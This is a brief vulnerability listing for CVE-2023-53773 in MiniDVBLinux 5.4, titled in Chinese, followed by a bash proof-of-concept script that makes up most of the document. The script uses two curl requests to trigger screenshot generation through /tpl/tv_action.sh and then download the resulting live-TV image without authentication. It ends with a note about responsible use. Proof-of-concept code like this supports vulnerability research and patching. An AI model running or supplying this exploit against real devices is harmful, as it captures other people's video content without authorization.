CVE-2023-53773 MiniDVBLinux tv_action.sh未授权直播流截图获取漏洞

#!/bin/bash # CVE-2023-53773 PoC - MiniDVBLinux Unauthenticated Live Stream Screenshot Disclosure # Target: MiniDVBLinux 5.4 # Endpoint: /tpl/tv_action.sh # Output: /var/www/images/tv.jpg TARGET_HOST="${1:-target.example.com}" TARGET_PORT="${2:-80}" # Step 1: Trigger screenshot generation via tv_action.sh echo "[*] Triggering screenshot generation on ${TARGET_HOST}:${TARGET_PORT}" curl -s -o /dev/null -w "%{http_code}" "http://${TARGET_HOST}:${TARGET_PORT}/tpl/tv_action.sh" # Step 2: Retrieve the generated screenshot echo -e "\n[*] Downloading screenshot from /var/www/images/tv.jpg" curl -s -o tv_screenshot.jpg "http://${TARGET_HOST}:${TARGET_PORT}/var/www/images/tv.jpg" if [ -f tv_screenshot.jpg ]; then echo "[+] Screenshot saved as tv_screenshot.jpg" file tv_screenshot.jpg else echo "[-] Failed to retrieve screenshot" fi # Note: This PoC demonstrates the vulnerability without causing harm # Use responsibly and only on systems you have permission to test